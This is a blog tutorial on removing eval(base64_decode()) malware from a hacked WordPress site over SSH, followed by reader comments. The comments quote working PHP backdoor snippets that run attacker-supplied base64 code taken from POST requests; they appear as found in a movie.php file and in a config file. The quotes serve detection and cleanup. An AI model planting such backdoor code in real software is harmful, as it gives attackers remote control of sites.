Cleaning eval(base64_decode()) from a Hacked WordPress Website via SSH

I received an email from a friend yesterday informing me that his WordPress site was loading with a blank white page. I SSH'ed into the server and looked at his wp-config.php file:

That eval(base64_decode("ZXJy.... line is a classic sign of a compromised site. Attackers obfuscate malicious code by hiding it with the PHP base64_encode() function. Then they use the base64_decode() function to decode (i.e. un-hide) it. Finally, the PHP eval() function is used to 'run' (or EVALuate) the malicious code. They place the malicious line at the top of as many PHP files as they can.

What Does the Malicious Code Do?

If you're curious what the obfuscated code looks like, you can copy and paste the whole line into a new PHP file and then replace eval(base64_decode(....)); with echo base64_decode(...);. That will print out the PHP code that the attacker is trying to run.

Hacks like these usually involve redirecting sites somewhere else on the Internet so that the attacker makes money. If someone earns $0.01 per redirection to an ad somewhere on the web, imagine how much they could make if they infected a popular site.

Temporarily Blocking Access to the Site

While we're fixing the problem, we don't want the attacker to have any access to the site. To block all access to the website, you can add the following to the top of the .htaccess in the root folder of the website (if an .htaccess file doesn't already exist, you'll want to create it).

To allow access from just your IP address, replace "!!Your IP Address Here!!" with your IP address:

order deny,allow
deny from all
allow from !!Your IP Address Here!!

Now we're ready to start cleaning things up.

Automating the Cleanup Process

When one file has been compromised, there's a good chance that many more files have been compromised. The attacker wants to ensure that as many files have been infected as possible so as to maximize the chances that his code will be run.

With this being a WordPress site, the easiest solution is to simply replace all the existing files with a clean copy of the WordPress files. However, you don't want to replace the wp-content/ directory because that contains your themes, plugins, and any media that you may have uploaded.

Since we want to keep the contents of the wp-content/ directory, we'll first need to clean it out. The first step is to search the directory for any files that may contain the malicious code:

As I suspected, the list of infected files was quite long. It would be a long tedious task to edit each file and remove the malicious line, but thanks to the power of the Linux command line, we can automate the process.

Using a few Linux commands, we'll find all .php files in the current directory and all subdirectories and then pipe those files into another command that uses the sed program (sed is short for 'stream editor') to search for the malicious line and replace it with nothing, effectively deleting that line from each file.

Now we can run the search command again to see if all the files were cleaned out:

Nothing was found, so that means the files were cleaned.

The next step is to replace the core WordPress files with a clean copy of the latest version of WordPress. First, we'll move all the current files to a backup folder and then create a backup tarball:

Now we have a backup just in case anything goes wrong with the next steps.

The next step is to download the latest version of WordPress and extract the files:

You may need to change the ownership of the files to that of the user:

Now we're ready to move the original wp-config.php file back, along with the original wp-content/ directory:

Since we only cleaned the files in the wp-content/ directory, you'll want to edit wp-config.php using your favorite editor (nano is a simple Linux command line editor) and make sure that the malicious eval() line is not present at the top. If it is, you'll want to delete it before proceeding.

And that's it! If you visit your website now, the site should be up and running again. If you were previously running an older version of WordPress, you may be prompted to upgrade the database.

Tips for Staying Safe in the Future

Here are a few tips to avoid a hacked WordPress site in the future:

  • Only run WordPress plugins that you absolutely need, as most vulnerabilities come from badly coded WordPress plugins.
  • Before downloading and installing a plugin, see how many downloads it has; the more the better. Also, when was the last update to the plugin? The earlier the better.
  • Always keep your WordPress core files and your WordPress plugins updated. If you're prompted to install an update on your WordPress dashboard, it's best to do it immediately.
  • Install an SSL Certificate and always use SSL when logging into your WordPress Dashboard (see Administration over SSL).
  • Read the entire Hardening WordPress page on the WordPress Codex and implement the suggestions.
  • Keep regular backups. Make sure you have a weekly and a monthly backup.
  • Check out this post by Kinsta on WordPress security.

That's it! If you have any questions or suggestions, please let me know.



Write a Comment

Comment

55 Comments

  1. Great article. Was of great help. Definitely NOT a coder but was able to use SSH for the first time to log into a host site and walk through this trojan. The client had a lot of media files and I definitely didn’t want to waste time download/uploading them.

    I did have problem understanding <code>$chownRusername:username</code> It did’t seem to work for me. Are you talking about the Admin wordpress user account or the FTP user account. So for example. If a user’s name is xxx, will the code be <code> $chownRusername:xxx</code>?

    • That should be the FTP username. So if the FTP username is raamdev, the command would be:

      chownR raamdev:raamdev

      The first part is the username, the second part is the group. In Linux/Unix all users also have groups, usually they’re the same as the username. If you’re not sure what’s correct, you can ask the web host; they should know.

      Glad this article helped! 🙂

  2. Our site just got hacked like this. that “eval base64” thing was on over 20000 files, but it wasn’t just that same code over and over, it was always different. So here’s how i fixed it:

    I downloaded everything in to a folder. I used Notepad++ to find and replace with a blank in all files and subdirectories the following regular expression:

    (eval(base64_decode().+());)

    that’s it.

    • Hey Barry! I have the same issue in that this gibberish got every .php file on my host. Could you be a bit more specific in how you approached the clean up? Did you still backup/re-install every instance of WordPress? Did you ‘turn off’ each individual .htaccess file or just the main for public_html?

    • Would you care to take a screenshot and upload somewhere, on how to set up notepad++ to do that? How do I search for it?

  3. Hi Raam, Thanks for this very helpful post. So, this base64_decode thing just infected my WordPress site… I’m not nearly savvy enough to try and clean it myself. Could you recommend anyone that could help me? Much appreciated!

  4. Hi! I’m not too familiar with the commands you mention here, but when I try to replace the files that have the malicious base64 code I get this:

    sed: can't read ./themes/landingpage/index2: No such file or directory
    sed: can't read .php: No such file or directory
    sed: can't read ./plugins/author-box-after-posts/author_box: No such file or directory
    sed: can't read _after_posts.php: No such file or directory
    

    And then I search again for any file containing the offending code and it’s all still there.

    This is what I told it to do:

    find . -name "*.php" -print | xargs sed -i 's@eval(gzinflate(base64_decode('rVj/U9s6Ev+Zm7n/wW............+Aw==')));@@g'
    
    • Hey Ryan,

      It looks like there’s something else going on. I’m not sure what system you’re running the command on, but it looks like you might have a problem escaping characters on the command line in that command, or it might be something else. It’s hard to troubleshoot this through a blog comment. If you can spare five bucks, you might want to give this guy a shot. Someone else in the comments here reported that he fixed this problem for them.

      Sorry I couldn’t be of more help!

  5. My site was hacked with the eval(base64_decode hack as well. So, if it helps someone; I sorted the files by date and found a php file that had been uploaded named movie.php. It wasn’t a file I had uploaded. Inside that file was the following code:

    vbulmovie

    and inside the php tags was this:

    if(@md5($_POST["gif"]) === "320648220d6bd8b8e51ec3b6d6dd8898") {
    
    eval (base64_decode($_POST["php"]));
    
    exit;
    
    }
    

    If you clean up your .php files but don’t find/remove the file with these commands you’ll get reinfected. I deleted the movie.php file and restored the site with clean .php files.

  6. Hey Raam,

    I have A popular Redirect Script that actually is coded with Base64 code.
    Now, it is not a plugin, but is a script that is uploaded to a file my wordpress site which then I use to redirect to affiliate offers.

    — and I then did a cntrl find for EVAL within index.php file — and it found EVAL on the 7th line — here is just a short snippet of that code that it’s surrounded by which I copied and pasted below ==>

    00=0x70150;eval($OOO00000=0x701

    Now there thousands of lines of code which follows as an example ===> gMpl38aKc0L7I8rfIXpMgM……….

    Now, my question is… Is all “Base64 eval” code bad? And is this something that I should be worried about?

    Or, is this something that I shouldn’t worry about considering the person that is the developer of this Redirect Script is a very popular name in the internet marketing industry?

    I’d appreciate any advice or feedback you can give me on this?

    In Many Thanks,
    Peter

    • Hi Peter,

      To answer your question about whether or not all Base64 eval() code is bad: No, it’s not all bad. There are definitely legitimate uses for it. If the developer of that plugin used that function, it’s probably OK and I wouldn’t be too worried. If you’re still uneasy however, I recommend contacting the developer and asking them to verify that the code is supposed to be there.

      (Sorry for the delayed reply; I’m just catching up to comments now!)

  7. Just what the Site Doctor ordered. My sites on Bluehost were suspended and they offered their service for $60 to fix.

    I downloaded my files immediately and when they fixed it downloaded again. Comparing files came up with this eval(base64_decode()) all over the place. Mine were joomla sites, php is php.

    I’ll be getting my game plan to harden my sites based on your fine explanation.

    Thanks!

  8. Hello, Thanks for great the tips.
    I think better to add some quotes for file name with space. eq:

    find . -name “*.php” -print | sed ‘s/.*/”&”/’ | xargs sed -i ‘s@eval(base64_decode(“CmVycm9yX3JlcG9yd”));@@g’

    • I’m not familiar with Joomla enough to advise on it, but yes, since Joomla is written in PHP such a hack could compromise a Joomla installation as well. You should be able to use the same method to fix Joomla PHP files as I describe here for WordPress.

  9. Hey! I just got hit with this stuff throughout my entire site so I was very happy to find this, however, after I ‘find’ the code in the files ( and I am searching my entire public_html folder), I then run the ‘clean up. I get ‘couldn’t open temporary file’ on only three files, then it stops. I have used Terminal before I am not gun shy, but I want to be sure this process is still valid, since it is over a year old now. I copied & pasted the commands but used the eval gibberish in my files, and made sure the punctuation matched, as well. Now, I did NOT turn off the .htaccess. Is that a MUST DO step in order for the clean up to work? I have several sub domains. Would I need to edit EVERY .htacces on my host?

    Thank you so much for your help!! Can’t tell you how much I appreciate this!!

  10. I can not seem to stop it from recurring. Is it the HOST that may have a hole? How do we get our HOST to stop this code from coming back after I clean it?

    • Hi Steffan,

      It could certainly be a hole in the web host, but it’s more likely a hole in one of the WordPress plugins you’re using.

  11. Thanks for the tip – I have an issue though – everytime I clean the files… a few days later the attacker has just added them somewhere else..

    I have a web server with many clients on it, and its always this one client’s website that is being hacked. I have had her change her passwords, and one time I changed them just to make sure they were really changed…I downloaded a blocker by IP/country to block everyone outside the US(yes I’m aware the attacker could use a VPN) – I’ve installed WordPress from scratch so that no files were carried over, I keep the site and server completely up to date (Centos w/ Virtualmin and Webmin) – I’ve reinstalled all plugins…I’m at a loss here at what else to do…

    Any help or quick links would be appreciated…I know you’re busy but this is ridiculous. If anyone has ideas, please post them because I’m sure there are more people in this situation…

  12. Thank you for post.
    I’m still on that problem on many of my site. It’s about an year that every two or three mounth someone hack my sites ( not only one ) always in the same mode: many lines of encoded code at the top of all php files, always the same code like <?php //$qojtvhdgl = '%x5c%x7825)ufttj… so I use ssh to comment all ( the hack is in only in the first line , and usually I clean complete hacker code only inside plugins directory otherwise my plugins gone disabled .
    here my ssh :
    cd directoryroot
    find ./ -type f -exec sed -i -r 's/php $qojtvhdgl/php //$qojtvhdgl/g' '{}' ;
    cd directory plugins
    find ./ -type f -exec sed -i -r 's/php //$qojtvhdgl+(.*)+;/php /g' '{}' ;
    In this way in a few minutes disappear any front end problem and in any case I can reinstall only plugins. But now I ask me:
    Where is the hole? ( in the same server I've other sites not wp without any problem, so I suppouse a wp bug, but I don't use a lot of plugins and often the default, always updated version.
    I' ve try to use Wordfence and WpBetterSecurity but nothing.I've updated my plugin and my wp version but nothing. Today I've benn hacked again.

    • Hi Alex,

      It’s highly unlikely that it’s a hole in WordPress itself, as there are thousands of people looking for holes in the WordPress Core code. If you’re only running default plugins or no plugins at all, and still having this issue, then I would suspect another PHP file somewhere else on your site (unrelated to WordPress) that an attacker is using to get in. It might also be through a vulnerability in your web host, so you may want to talk to them about that.

      Good luck!

  13. Is there any simple method to detect the malicious scripts? i have tried exploit scanner plugin and it detects the malicious code in WordPress but not all the time. I am not a php dev so guide me how can i do it easily?

    • Unfortunately there is no “easy way”. There are apps and plugins out there that can help, but really the best thing to do if you’re not at all familiar with what’s going on is to hire someone to help you.

  14. I recommend you all, if you have chance to completely disable eval command in your php installation by using suhosin patch.

    Also, it is important to change your applications mysql login info.

  15. this base64_decode thing just infected my WordPress site… I’m not nearly savvy enough to try and clean it myself. Could you recommend anyone that could help me? Much appreciated!

  16. Excellent write-up Raam. Stumbled across it trying to nail down some malicious PHP scripts that are making their way into a clients WordPress site.

    Totally off-topic: I found and reported an issue with Zencache right after the name change, was support ticket #5352 if you’re interested.

    Spoke with Jason too about possibly writing some documentation for the s2Member plugin, but been too busy with client work lately to even get back to him.

    Hope you’re doing well!

  17. Hi Raam. Thanks for your article. Our website went blank today. I found out our config file got hacked – nothing else as it seems – it had this code instead of a database bassword
    ;eval(base64_decode($_POST[‘a1’]));exit;//

    BUT, we have neither Joomla nor WordPress, our CMS is CMS made simple. How is that possible? I have never heard of CMSMS being a target of hackers.

  18. Very informative. Clear. Well written. Thanks, Raam.

    We just battled this in the last few weeks ourselves and I would have loved to find this post beforehand. I did things the “download and find and replace” way because I didn’t have any command line in my skill set just yet. I’ve got better weaponry for the next time.